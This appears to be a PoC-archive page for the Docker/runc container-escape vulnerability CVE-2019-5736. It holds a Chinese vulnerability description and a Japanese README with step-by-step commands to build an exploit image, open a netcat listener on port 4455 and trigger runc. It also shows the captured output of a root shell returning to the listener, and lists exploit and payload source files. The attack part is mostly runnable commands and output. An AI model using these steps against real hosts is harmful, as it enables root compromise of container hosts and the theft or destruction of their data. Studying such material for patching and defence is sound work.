关联漏洞
标题:
Docker 操作系统命令注入漏洞
(CVE-2019-5736)
描述:Docker是美国Docker公司的一款开源的应用容器引擎。该产品支持在Linux系统上创建一个容器(轻量级虚拟机)并部署和运行应用程序,以及通过配置文件实现应用程序的自动化安装、部署和升级。 Docker 18.09.2之前版本和其他产品中的runc 1.0-rc6及之前版本中存在安全漏洞,该漏洞源于程序没有正确地处理文件描述符。攻击者可利用该漏洞覆盖主机runc的二进制文件并以root权限执行命令。
介绍
# 概要
以下のリポジトリのエクスプロイトをDockerイメージで動作するようにしたもの。
https://github.com/feexd/pocs
# 使用方法
## イメージの作成
```bash
$ git clone https://github.com/k-onishi/CVE-2019-5736-PoC
$ cd CVE-2019-5736-PoC
$ make
$ sudo docker build -t poc .
```
## 実行
コンテナの実行及びホスト側でのポートリッスン。
```bash
# terminal 1
$ sudo docker run poc
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
```
runcの実行。
```bash
# terminal 3
$ sudo docker ps --format {{.Names}}
modest_lalande
docker exec -it modest_lalande /bin/sh
```
`nc`にシェルが返ってくる。
```bash
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
sh: このシェルではジョブ制御が無効になっています
sh-4.2#
```
# 試験環境
```bash
$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ sudo cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
```
# デモ

文件快照
[4.0K] /data/pocs/608f6d2d0d66919880cad10c03c283ab177bbd8a
├── [928K] demo.gif
├── [ 224] Dockerfile
├── [6.2K] exploit
├── [1.4K] exploit.c
├── [ 74] Makefile
├── [6.2K] payload
├── [ 634] payload.c
├── [1.2K] README.md
└── [ 379] start.sh
0 directories, 9 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。